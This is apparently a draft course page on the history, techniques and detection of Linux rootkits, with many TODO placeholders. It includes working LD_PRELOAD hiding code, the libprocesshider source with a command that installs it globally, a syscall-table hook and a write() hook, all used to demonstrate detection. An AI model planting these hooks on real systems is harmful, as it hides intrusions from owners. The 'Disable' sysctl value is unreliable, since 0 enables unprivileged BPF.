| dfir.ch
[X] A (Short) History of Linux RootkitsEarly rootkits were designed primarily to h 2026-6-16 06:40:57 Author: dfir.ch(查看原文) 阅读量:14 收藏

[X] A (Short) History of Linux Rootkits

Early rootkits were designed primarily to hide malicious processes or files, allowing attackers to maintain stealthy access to compromised systems. Initially, their capabilities were relatively simple, often targeting basic system directories or command utilities.

Over time, rootkits evolved in sophistication, exploiting more advanced techniques to bypass detection, including kernel-level manipulation and anti-forensic measures. In the next section, we will take a trip down the Linux rootkit memory lane.

2001: KNARK Rootkit

TODO

Figure X: Analysis of the KNARK Rootkit (2001)

2002: The t0rn rootkit

TODO

Figure X: The t0rn rootkit (2002)

2004: UNIX and Linux based Rootkits Techniques and Countermeasures

TODO

Figure X: UNIX and Linux based Rootkits Techniques and Countermeasures (2004)

2006: Detecting and categorizing kernel-level rootkits to aid future detection

TODO

Figure X: Detecting and categorizing kernel-level rootkits to aid future detection

2011: Rootkit Detection Mechanism: A Survey

TODO

Figure X: Rootkit Detection Mechanism: A Survey

2012: MoVP 2.4 Analyzing the Jynx rootkit and LD_PRELOAD

TODO

Figure X: MoVP 2.4 Analyzing the Jynx rootkit and LD_PRELOAD

[X] Current Landscape

TODO

Figure X: Linux rootkit landscape and primary features

Source: The Hidden Threat: Analysis of Linux Rootkit Techniques and Limitations of Current Detection Tools, Fraunhofer Institute for Communication, Information Processing and Ergonomics FKIE, JAKOB STÜHN, JAN-NICLAS HILGERT, and MARTIN LAMBERTZ

Also here: https://github.com/milabs/awesome-linux-rootkits

Userspace vs. Kernelspace

TODO

[X] Application-Level Rootkits

The t0rn rookits swaps several key system binaries, amongst them ps, ls, netstat , top

Still a thing today..“In our attacks the malware dropped crontab, lsof, ldd and top. These tweaked binaries will hide malicious activities, in case someone is using them.”perfctl: A Stealthy Malware Targeting Millions of Linux Servers, Aqua Blog, October 2024 Source:https://www.aquasec.com/blog/perfctl-a-stealthy-malware-targeting-millions-of-linux-servers/

[X] Overview of Userland Rootkits

Azazel

Azazel is a userland rootkit based off of the original LD_PRELOAD technique from Jynx rootkit. It is more robust and has additional features, and focuses heavily around anti-debugging and anti-detection.

Press Coverage

  • The library used to hide Winnti’s system activity is a copy of the open-source userland rootkit Azazel, with minor changes. When executed, it will register symbols for multiple commonly used functions, including: open(), rmdir(), and unlink(), and modify their returns to hide the malware’s operations. Chronicle Blog, 2019

  • Azazel rootkit is an open-source rootkit that targets older Linux kernels. Azazel is based on the LD_PRELOAD technique. Figure 2 shows how the rootkit uses PAM APIs (pam_open_session, pam_authenticate and pam_acct_mgmt()) to allow remote entry into the victim’s machine. Unit42 Blog, 2023

  • HiddenWasp authors have adopted a large amount of code from various publicly available open-source malware, such as Mirai and the Azazel rootkit. Intezer Blog, 2019

Symbiote

Not public available - sold on underground markets.

Press Coverage

  • Instead of being a standalone executable file that is run to infect a machine, it is a shared object (SO) library that is loaded into all running processes using LD_PRELOAD, and parasitically infects the machine. Once it has infected all the running processes, it provides the threat actor with rootkit functionality, the ability to harvest credentials, and remote access capability. Intezer Blog, 2022

Orbit

Not public available - sold on underground markets.

Press Coverage

  • To install the payload and add it to the shared libraries that are being loaded by the dynamic linker, the dropper calls a function called patch_ld. First, it reads the symbolic link of the dynamic linker /lib64/ld-linux-x86-64.so.2 and checks if the malicious payload is already loaded by searching for the path used by the malware. If it is found the function can swap it with the other location. Otherwise, it looks for /etc/ld.so.preload and replaces it with a symbolic link to the location of malicious library: /lib/libntpVnQE6mk/.l or /dev/shm/ldx/.l (depending on the on the argument passed to the dropper). Lastly, it will append /etc/ld.so.preload to the end of the temp file to make sure that the malicious library will be loaded first. Intezer Blog, 2022

Analysis

https://www.stormshield.com/news/orbit-analysis-of-a-linux-dedicated-malware/

Bedevil

This is an LD_PRELOAD rootkit. Therefore, this rootkit runs in userland. bedevil on Github

Press Coverage

Using an open-source rootkit, bedevil (bdvl) to target VMware vCenter servers. Unit42 Blog, 2024

Analysis

https://buaq.net/go-207717.html

BEURK

BEURK is an userland preload rootkit for GNU/Linux, heavily focused around anti-debugging and anti-detection.

Press Coverage

  • Further searching revealed that the threat actor reuses the publicly available beurk rootkit, but with several custom modifications. TrendMicro Blog, 2020

[X] LD_PRELOAD

Series here: https://www.secureideas.com/blog/2020/ldpreload-introduction.html

Can be globally set using /etc/ld.so.preload

  • File: /etc/ld.so.preload
  • Enviroment: LD_PRELOAD

Example

Source: Wiz.io

#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
// Function pointer typedef for the original readdir ls function
typedef struct dirent* (*ls_t)(DIR*);
// Interposed ls function
struct dirent* readdir(DIR* dirp) {
  // Get the original readdir address
  ls_t original_readdir = (ls_t)dlsym(RTLD_NEXT, "readdir");
  struct dirent* entry;
  do {
    // Call the original ls function to get the next directory entry
    entry = original_readdir(dirp);
    // Check if the entry is the file we want to hide
    if (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0) {
      // Skip the file by calling the original ls function again
      entry = original_readdir(dirp);
    }
  } while (entry != NULL && strcmp(entry->d_name, "malicious_file") == 0);
  return entry;
}

Compile

gcc -shared -fPIC -o /tmp/working-dir-test/libhijackls.so /tmp/working-dir-test/hijackls.c -ldl. 

Discussion

  • Relativly easy to write
  • Can be exteneded effortless
  • Static binaries can tell the difference (see below)
  • Some rootkits depend on environment variables to trigger an action (open backdoor, get rootshell)

///***** copied *****///////

  • Hooking accept() (usually, source-port based. // jynx2
  • Hooking PAM to backdoor SSH. // umbreon, Father
  • Hooking write() and using it as a trigger. // h0mbre
  • Port Knocking/Magic Packets // jynx

///***** FIN copied *****///////

Detection for LD_PRELOAD

Audit /etc/ld.so.preload

TODO

/proc/{pid}/environ file

HiddenWasp zum Beispiel exportiert die LD_Preload Variable via /etc/profiel, Screenshot im Intezer Blog.

Patched loader

// quote //

The malware first makes a copy of the loader’s binary so it can patch it. It performs a simple search in the binary for the string “/etc/ld.so.preload”. Once it’s found, it replaces the string to a path to a file within the %MALWARE_FOLDER%. The content of this file has the path to the malware library to act as a ld.so.preload configuration file. This means when the patch loader is executed, it uses the file in the %MALWARE_FOLDER% instead under “/etc”. The malware author has set up these two methods to act as catches in the case one of them goes away. For example, if an administrator wants to stop the malware from being loaded by removing the configuration file under “/etc” so the hidden files can be revealed, the patched loader who doesn’t use this file, will just load the malware who will recreate the configuration file. If the administrator instead overwrites the patched loader with a clean version, the clean loader loads the malware from the “ld.so.preload” configuration file which repatches the loader.

https://intezer.com/blog/research/orbit-new-undetected-linux-threat/

// quote ends //

Bedevil macht das selbe: https://buaq.net/go-207717.html

Unhide

TODO

Figure : unhide

LD_PRELOAD: libprocesshider

The objective of the new tool is to hide the malicious process from process information programs such as ps and lsof, effectively acting as a defense evasion technique.

The tool, named libprocesshider, is an open source tool from 2014 located on Github, described as “hide a process under Linux using the ld preloader.''

Source: cybersecurity.att.com

Test Source Code:

$ cat processhider.c 
#define _GNU_SOURCE

#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>

/*
 * Every process with this name will be excluded
 */
static const char* process_to_filter = "malmoeb.sh";

/*
 * Get a directory name given a DIR* handle
 */
static int get_dir_name(DIR* dirp, char* buf, size_t size)
{
    int fd = dirfd(dirp);
    if(fd == -1) {
        return 0;
    }

    char tmp[64];
    snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
    ssize_t ret = readlink(tmp, buf, size);
    if(ret == -1) {
        return 0;
    }

    buf[ret] = 0;
    return 1;
}

/*
 * Get a process name given its pid
 */
static int get_process_name(char* pid, char* buf)
{
    if(strspn(pid, "0123456789") != strlen(pid)) {
        return 0;
    }

    char tmp[256];
    snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
 
    FILE* f = fopen(tmp, "r");
    if(f == NULL) {
        return 0;
    }

    if(fgets(tmp, sizeof(tmp), f) == NULL) {
        fclose(f);
        return 0;
    }

    fclose(f);

    int unused;
    sscanf(tmp, "%d (%[^)]s", &unused, buf);
    return 1;
}


#define DECLARE_READDIR(dirent, readdir)                                \
static struct dirent* (*original_##readdir)(DIR*) = NULL;               \
                                                                        \
struct dirent* readdir(DIR *dirp)                                       \
{                                                                       \
    if(original_##readdir == NULL) {                                    \
        original_##readdir = dlsym(RTLD_NEXT, #readdir);               \
        if(original_##readdir == NULL)                                  \
        {                                                               \
            fprintf(stderr, "Error in dlsym: %s\n", dlerror());         \
        }                                                               \
    }                                                                   \
                                                                        \
    struct dirent* dir;                                                 \
                                                                        \
    while(1)                                                            \
    {                                                                   \
        dir = original_##readdir(dirp);                                 \
        if(dir) {                                                       \
            char dir_name[256];                                         \
            char process_name[256];                                     \
            if(get_dir_name(dirp, dir_name, sizeof(dir_name)) &&        \
                strcmp(dir_name, "/proc") == 0 &&                       \
                get_process_name(dir->d_name, process_name) &&          \
                strcmp(process_name, process_to_filter) == 0) {         \
                continue;                                               \
            }                                                           \
        }                                                               \
        break;                                                          \
    }                                                                   \
    return dir;                                                         \
}

DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);

TODO

In short, compile the library: gianluca@sid:~/libprocesshider$ make gcc -Wall -fPIC -shared -o libprocesshider.so processhider.c -ldl gianluca@sid:~/libprocesshider$ sudo mv libprocesshider.so /usr/local/lib/ Load it with the global dynamic linker

root@sid:~# echo /usr/local/lib/libprocesshider.so » /etc/ld.so.preload

Source: libprocesshider on Github

Static binaries

_ Once the malware has infected a machine, it hides itself and any other malware used by the threat actor, making infections very hard to detect. Performing live forensics on an infected machine may not turn anything up since all the file, processes, and network artifacts are hidden by the malware._ Source: https://intezer.com/blog/research/new-linux-threat-symbiote/

Source: linux-static-binaries on Github

# lsof | grep -i malmoeb

# ./lsof | grep -i malmoeb
16460	/usr/bin/bash	255	/tmp/libprocesshider/malmoeb.sh

Also hidden from auto-completion:

# cd /proc/16
16/    1610/  16310/ 16322/ 16324/ 16325/ 16352/ 164/   16408/ 

TODO

# cat /etc/ld.so.preload
/usr/local/lib/libprocesshider.so

[X] Analysis of Userland Rootkits

Hooked Functions

TODO

Backdoor methods

  • PAM
  • accept()

Hiding techniques

  • Hide files with a given pre-suffix
  • Files with a UID/GID
  • Extended attributes

[X] Overview of Kernelspace Rootkits

Diamorphine

Diamorphine is a LKM rootkit for Linux Kernels 2.6.x/3.x/4.x/5.x/6.x (x86/x86_64 and ARM64) Diamorphine on Github

unprotect_memory();

__sys_call_table[__NR_getdents] = (unsigned long) hacked_getdents;
__sys_call_table[__NR_getdents64] = (unsigned long) hacked_getdents64;
__sys_call_table[__NR_kill] = (unsigned long) hacked_kill;

protect_memory();

Press Coverage

  • The script installs the Diamorphine rootkit for stealth and root privileges, and uses custom tools to maintain persistence and control. Group-IB, 2024

  • In early March 2024, we found a new Diamorphine variant undetected in-the-wild. Decoded - Avast, 2024

  • The Kiss-a-dog campaign uses the Diamorphine and libprocesshide rootkits to hide the process from the user space, where the typical cloud practitioner will look for malicious activities. Both rootkits are known to hide processes from the user. Crowdstrike, 2022

Reptile

Reptile is an open-source kernel module rootkit that targets Linux systems and is publicly available on GitHub. Reptile on Github

Press Coverage

  • In this post, we briefly analyze the basic structure and functions of Reptile and then summarize cases where it was used in actual attacks targeting domestic companies. ASEC, 2023

  • To achieve persistent access on the FortiManager device, the threat actor deployed a backdoor with the filename /bin/klogd (MD5: 53a69adac914808eced2bf8155a7512d) that Mandiant refers to as REPTILE, a variant of a publicly available Linux kernel module (LKM) rootkit. Mandiant, 2023

  • The first sample we found dropped a rootkit based on a modified version of the open source projet Reptile 1. ExaTrack, 2023

  • On supported systems, the backdoor downloads, compiles, and installs two open-source rootkits available on GitHub, Diamorphine and Reptile. Microsoft, 2023

  • Mandiant observed the actor use two publicly available rootkits, REPTILE and MEDUSA, on the guest virtual machines to maintain access and evade detection. Mandiant, 2024

Syslogk

Heavily based on Adore-Ng, linux rootkit adapted for 2.6 and 3.x adore-ng

Press Coverage

  • The Syslogk rootkit is heavily based on Adore-Ng but incorporates new functionalities making the user-mode application and the kernel rootkit hard to detect. Decoded - Avast, 2022

Adore-ng

linux rootkit adapted for 2.6 and 3.x adore-ng

  • RedXOR uses an open-source LKM rootkit called “Adore-ng” to hide its process. Based on a FireEye report Winnti used this rootkit in their “ADORE.XSE” Linux backdoor. Intezer, 2021

[X] /dev/mem

In newer Linux kernels, /dev/mem has been disabled and removed due to significant security concerns. It used to provide direct access to kernel memory, which could be exploited by attackers for unauthorized memory reads and writes, effectively compromising the entire system.

See this BlackHat presentation here for a short overview.

[X] Loadable Kernel Modules (LKM)

Techniques for hooking and modifying kernel functions https://blog.exatrack.com/melofee/

Source: https://www.wiz.io/blog/linux-rootkits-explained-part-2-loadable-kernel-modules

Another level of rootkit installations are made through Loadable Kernel Modules (LKM). Basically, almost every modern Unix flavour (Linux, Solaris and FreeBSD) allows the system administrators to l oad device drivers on the fly into the kernel, avoiding the necessity of kernel recompilation and reboot of the systems. This is really a great feature that makes the administrator’s life a bit more easy. However, it’s possible to subvert the system witho ut the necessity of changing binaries. All the interactions are done on the kernel level, using function calls. With these “features” the attacker doesn’t need to change the binaries anymore. Good examples of Kernel rootkits are Adore (http://www.sans.org/y2k/adore.htm ) and Knark (http://online.securityfocus.com/guest/4871 ). With such kind of compromise, it’s useless to maintain binary hashes (through MD5 checksums) because they are not modified. SANS, 2002

[X] eBPF

DEMO HIER https://github.com/pathtofile/bad-bpf

https://ebpf.io/what-is-ebpf/

“eBPF enables auditing and filtering of high-volume events, such as network packets or system calls, without the security or stability overhead of a custom kernel module. This is accomplished using small, lightweight programs that are written in a constrained language and are checked at compile- and runtime for security and performance.” Source: https://www.crowdstrike.com/blog/analyzing-the-security-of-ebpf-maps/

https://github.com/thebsdbox/learning-ebpf/tree/main https://github.com/fkie-cad/bpf-rootkit-workshop/tree/master https://lolcads.github.io/posts/2023/12/bpf_memory_forensics_with_volatility3/ https://www.trendmicro.com/vinfo/us/security/news/threat-landscape/how-bpf-enabled-malware-works-bracing-for-emerging-threats https://github.com/libbpf/bpftool/blob/main/README.md https://github.com/CrowdStrike/bpfmon-example https://github.com/eeriedusk/nysm https://github.com/citronneur/pamspy:

bpftool is a command-line utility that is part of the BPF (Berkeley Packet Filter) subsystem in the Linux kernel. It is used for interacting with and managing BPF-related resources, such as BPF programs, maps, and other components. BPF is a powerful framework that allows the injection of custom code into the Linux kernel, and bpftool provides a convenient interface for working with BPF programs and associated entities.

Here are some common use cases and functionalities of bpftool:

https://redcanary.com/blog/threat-detection/ebpf-malware/ https://github.com/Gui774ume/ebpfkit https://blogs.blackberry.com/en/2021/12/reverse-engineering-ebpfkit-rootkit-with-blackberrys-free-ida-processor-tool

[X] Hooking: Using Kprobes

Allows for hooking kernel functions by name or address.

pre_handler runs before the first instruction. post_hanlder runs after first instruction. fault_handler runs if an itial fault

“An open-source LKM rootkit project that leverages this method: Reptile (leverages khook).”

https://github.com/f0rb1dd3n/Reptile https://cloud.google.com/blog/topics/threat-intelligence/fortinet-malware-ecosystem/?hl=en https://asec.ahnlab.com/en/55785/

https://github.com/milabs/khook

Volatility linux_kprobes

“Reptile uses a Linux kernel function hooking engine called KHOOK to hook kernel functions.[6]For example, to use the Port Knocking method, you can hook the ip_rcv() kernel function and monitor the packets received through it.” https://asec.ahnlab.com/ko/55379/

“Reptile rootkit can hide or unhide files and directories depending on the “hide” and “show” commands. The target of hiding is a path containing a string specified during build. To do this, it hooks a number of kernel functions such as fillonedir(), filldir(), and filldir64(), and if the path name contains the target string of hiding, the hooking function returns “ENOENT”, i.e. “no such file or directory” error.” https://asec.ahnlab.com/ko/55379/

“Ebpfkit is an advanced rootkit that loads many BPF_PROG_TYPE_KPROBE and BPF_PROG_TYPE_XDP programs to achieve its goals. " https://www.trendmicro.com/vinfo/us/security/news/threat-landscape/how-bpf-enabled-malware-works-bracing-for-emerging-threats

[X] Hooking: Using Uprobe

Code taken from here

TODO

Figure : TODO

[X] Hooking: Tracepoints

Volatility linux_tracepoints

“For example, if a piece of malware wants to hook a kernel syscall, it can do so by loading an eBPF program of type BPF_PROG_TYPE_TRACEPOINT if the kernel already offers a tracepoint to the desired syscall (see /sys/kernel/debug/tracing/events/syscalls). If the desired syscall does not have a tracepoint, the program can load a BPF_PROG_TYPE_KPROBE instead.” source: https://www.trendmicro.com/vinfo/us/security/news/threat-landscape/how-bpf-enabled-malware-works-bracing-for-emerging-threats

[X] Syscall table modification

https://github.com/m0nad/Diamorphine https://intezer.com/wp-content/uploads/2021/09/TeamTNT-Cryptomining-Explosion.pdf

TODO

Figure : TODO

TODO

Figure : TODO

[X] ftrace

https://jvns.ca/blog/2017/03/19/getting-started-with-ftrace/

Linux kernel module demonstrating usage of ftrace framework for function hooking: as in executing arbitrary code around the hooked function. ftrace-hook on Github

Gebraucht von adore-ng ?

Gebraucht von An LKM rootkit targeting Linux 2.6.x/3.x on x86, and ARM. Suterusu on Github ?

Detection with Volatility linux_frace

https://jvns.ca/blog/2017/03/19/getting-started-with-ftrace/ https://lwn.net/Articles/365835/

[X] VFS (Virtual File System) manipulation

https://github.com/yaoyumeng/adore-ng https://decoded.avast.io/davidalvarez/linux-threat-hunting-syslogk-a-kernel-rootkit-found-under-development-in-the-wild/ https://github.com/mncoppola/suterusu https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/honeypot-recon-new-variant-of-skidmap-targeting-redis/

[X] Detection Strategies for Linux Rootkits

https://matheuzsecurity.github.io/hacking/a-simple-way-to-detect-and-remove-kovid-lkm-rootkit/ https://h0mbre.github.io/Learn-C-By-Creating-A-Rootkit/

Look for unexpected kprobes loaded:

Monitoring

https://github.com/libbpf/bpftool

Tainted Kernels

https://dfir.ch/posts/tainted_kernels/

The Kernel reports that it’s tainted, but no tainted module is visible: https://x.com/CraigHRowland/status/1804337137816604940

Command Line

https://x.com/CraigHRowland/status/1805408150159507600

bpftool prog > show running bpf

Monitor “sys_enter_bpf”

Disable

sysctl kernel.unprivileged_bpf_disabled=0 https://www.suse.com/de-de/support/kb/doc/?id=000020545

Linux Kernel Runtime Guard

Memory

https://media.defense.gov/2020/Aug/13/2002476465/-1/-1/0/CSA_DROVORUB_RUSSIAN_GRU_MALWARE_AUG_2020.PDF

Varc - Test it

https://github.com/cado-security/varc

  • Overview of popular rootkit detection tools
  • Demonstration of practical detection techniques

rkhunter chkrootkit Unhide OSSEC and Wazuh

Tracee

nitara2

https://github.com/ksen-lin/nitara2

Syslog

Malware can use this ability to modify the memory of a process during syscalls, for example how bad-bpf writes to user-space memory when sudo reads /etc/sudoers. It injects an extra line allowing a specific user to use the sudo command.

“Kernel logs: dmesg and /var/log/kern.log, the message nysm[] is installing a program with bpf_probe_write_user helper that may corrupt user memory! will pop several times because of the eBPF verifier on nysm run” https://github.com/eeriedusk/nysm

KProbes

ls /sys/kernel/debug/tracing/events/kprobes

More detections

https://www.trendmicro.com/vinfo/us/security/news/threat-landscape/how-bpf-enabled-malware-works-bracing-for-emerging-threats

Gute Detection Section

[ 334.056326] dfir: loading out-of-tree module taints kernel. [ 334.056343] dfir: module verification failed: signature and/or required key missing - tainting kernel

dfir 12288 0 - Live 0xffffffffc0c52000 (OE)

[X] Hardening

“Make sure unprivileged eBPF is disabled. Nowadays, to install an eBPF program, you typically need root—or at least CAP_SYS_ADMIN and/or CAP_BPF. This was not always the case. Unprivileged eBPF was introduced around kernel 4.4. Be sure to check this config option by running: # sysctl kernel.unprivileged_bpf_disabled” Source: https://redcanary.com/blog/threat-detection/ebpf-malware/

Block loading

ebpfkit-monitor by Gui774ume

Disable

Use kernel_lockdown to prevent kernel space modifications

“Disable features you don’t need. Admins can programmatically disable things like kprobes:

Source: https://redcanary.com/blog/threat-detection/ebpf-malware/

Sign eBPF programs

Ongoing discussion in the community

[X] What else?

https://asec.ahnlab.com/ko/55070/ https://sandflysecurity.com/blog/bpfdoor-an-evasive-linux-backdoor-technical-analysis/ https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-With-Friends-Like-EBPF-Who-Needs-Enemies.pdf

[X] References

Presentations

Blogs & Papers

Which are not already linked above.

Notes:

#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <dlfcn.h>
#include <unistd.h>

// Original write function pointer
ssize_t (*original_write)(int fd, const void *buf, size_t count);

// Replacement keyword and substitute
const char *target = "secret";
const char *replacement = "******";

ssize_t write(int fd, const void *buf, size_t count) {
    // Dynamically load the original write() function
    if (!original_write) {
        original_write = dlsym(RTLD_NEXT, "write");
    }

    // Create a buffer to store the modified output
    char modified_buf[count + 1];
    memcpy(modified_buf, buf, count);
    modified_buf[count] = '\0';  // Ensure null-terminated string

    // Find and replace the target keyword
    char *pos = strstr(modified_buf, target);
    if (pos) {
        // Overwrite the target with the replacement
        size_t offset = pos - modified_buf;
        memcpy(&modified_buf[offset], replacement, strlen(replacement));
    }

    // Call the original write() with the modified buffer
    return original_write(fd, modified_buf, count);
}

**Compile

``gcc -shared -fPIC -o malicious_preload.so malicious_preload.c -ldl

root@hacklu:~# LD_PRELOAD=./keyword_swap.so xxd statement.txt 00000000: 4446 4952 2072 6f63 6b73 210a DFIR rocks!.

root@hacklu:~# LD_PRELOAD=./keyword_swap.so cat statement.txt DFIR sucks!

write(1, “00000000: \33[1;32m44\33[0m\33[1;32m46\33[0m \33[1;32m49\33[0m\33[1;32m52\33[0m \33[1;32m20\33[0m\33[1;32m72\33[0m \33[1;32m6f\33[0m\33[1;32m63\33[0m \33[1;32m6b\33[0m\33[1;32m73\33[0m \33[1;32m21\33[0m\33[1;33m0a\33[0m \33[1;31m \33[0m\33[1;31m \33[0m\33[1;31m \33[0m\33[1;31m \33[0m \33[1;32mD\33[0m\33[1;32mF\33[0m\33[1;32mI\33[0m\33[1;32mR\33[0m\33[1;32m \33[0m\33[1;32mr\33[0m\33[1;32mo\33[0m\33[1;32mc\33[0m\33[1;32mk\33[0m\33[1;32ms\33[0m\33[1;32m!\33[0m\33[1;33m.\33[0m\n”, 37200000000: 4446 4952 2072 6f63 6b73 210a DFIR rocks!.

**vi

root@hacklu:~# ldd /usr/bin/cat linux-vdso.so.1 (0x00007ffc4315b000) libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007eec74000000) /lib64/ld-linux-x86-64.so.2 (0x00007eec74304000) root@hacklu:~# cat statement.txt DFIR rocks!

root@hacklu:~# ps aux | grep vi root 45560 0.3 1.3 25528 13312 pts/0 Sl+ 09:03 0:00 vi statement.txt root 45563 0.0 0.2 7076 2048 pts/1 S+ 09:03 0:00 grep –color=auto vi

root@hacklu:~# cat /proc/45560/maps | grep swap 72cb0b9fe000-72cb0b9ff000 r–p 00000000 fd:01 1623 /root/keyword_swap.so 72cb0b9ff000-72cb0ba00000 r-xp 00001000 fd:01 1623 /root/keyword_swap.so 72cb0ba00000-72cb0ba01000 r–p 00002000 fd:01 1623 /root/keyword_swap.so 72cb0ba01000-72cb0ba02000 r–p 00002000 fd:01 1623 /root/keyword_swap.so 72cb0ba02000-72cb0ba03000 rw-p 00003000 fd:01 1623 /root/keyword_swap.so

root@hacklu:~# cat /proc/45560/environ SHELL=/bin/bashPWD=/rootLOGNAME=rootXDG_SESSION_TYPE=ttyLD_PRELOAD=/root/keyword_swap.soHOME=/rootLANG=C.UTF-8LS_COLORS=rs=0:di=01;34:ln=01;36:mh=00:pi=40;33:so=01;35:do=01;35:bd=40;33;01:cd=40;33;01:or=40;31;01:mi=00:su=37;41:sg=30;43:ca=00:tw=30;42:ow=34;42:st=37;44:ex=01;32:.tar=01;31:.tgz=01;31:.arc=01;31:.arj=01;31:.taz=01;31:.lha=01;31:.lz4=01;31:.lzh=01;31:.lzma=01;31:.tlz=01;31:.txz=01;31:.tzo=01;31:.t7z=01;31:.zip=01;31:.z=01;31:.dz=01;31:.gz=01;31:.lrz=01;31:.lz=01;31:.lzo=01;31:.xz=01;31:.zst=01;31:.tzst=01;31:.bz2=01;31:.bz=01;31:.tbz=01;31:.tbz2=01;31:.tz=01;31:.deb=01;31:.rpm=01;31:.jar=01;31:.war=01;31:.ear=01;31:.sar=01;31:.rar=01;31:.alz=01;31:.ace=01;31:.zoo=01;31:.cpio=01;31:.7z=01;31:.rz=01;31:.cab=01;31:.wim=01;31:.swm=01;31:.dwm=01;31:.esd=01;31:.avif=01;35:.jpg=01;35:.jpeg=01;35:.mjpg=01;35:.mjpeg=01;35:.gif=01;35:.bmp=01;35:.pbm=01;35:.pgm=01;35:.ppm=01;35:.tga=01;35:.xbm=01;35:.xpm=01;35:.tif=01;35:.tiff=01;35:.png=01;35:.svg=01;35:.svgz=01;35:.mng=01;35:.pcx=01;35:.mov=01;35:.mpg=01;35:.mpeg=01;35:.m2v=01;35:.mkv=01;35:.webm=01;35:.webp=01;35:.ogm=01;35:.mp4=01;35:.m4v=01;35:.mp4v=01;35:.vob=01;35:.qt=01;35:.nuv=01;35:.wmv=01;35:.asf=01;35:.rm=01;35:.rmvb=01;35:.flc=01;35:.avi=01;35:.fli=01;35:.flv=01;35:.gl=01;35:.dl=01;35:.xcf=01;35:.xwd=01;35:.yuv=01;35:.cgm=01;35:.emf=01;35:.ogv=01;35:.ogx=01;35:.aac=00;36:.au=00;36:.flac=00;36:.m4a=00;36:.mid=00;36:.midi=00;36:.mka=00;36:.mp3=00;36:.mpc=00;36:.ogg=00;36:.ra=00;36:.wav=00;36:.oga=00;36:.opus=00;36:.spx=00;36:.xspf=00;36:~=00;90:#=00;90:.bak=00;90:.crdownload=00;90:.dpkg-dist=00;90:.dpkg-new=00;90:.dpkg-old=00;90:.dpkg-tmp=00;90:.old=00;90:.orig=00;90:.part=00;90:.rej=00;90:.rpmnew=00;90:.rpmorig=00;90:.rpmsave=00;90:.swp=00;90:.tmp=00;90:.ucf-dist=00;90:.ucf-new=00;90:*.ucf-old=00;90:SSH_CONNECTION=178.197.207.142 37665 206.81.31.201 22LESSCLOSE=/usr/bin/lesspipe %s %sXDG_SESSION_CLASS=userTERM=xterm-256colorLESSOPEN=| /usr/bin/lesspipe %sUSER=rootSHLVL=1XDG_SESSION_ID=308LC_CTYPE=C.UTF-8XDG_RUNTIME_DIR=/run/user/0SSH_CLIENT=178.197.207.142 37665 22XDG_DATA_DIRS=/usr/local/share:/usr/share:/var/lib/snapd/desktopPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/usr/local/games:/snap/binDBUS_SESSION_BUS_ADDRESS=unix:path=/run/user/0/busSSH_TTY=/dev/pts/0_=/usr/bin/viroot@hacklu:~#


文章来源: https://dfir.ch/course/linux_rootkits/
如有侵权请联系:admin#unsafe.sh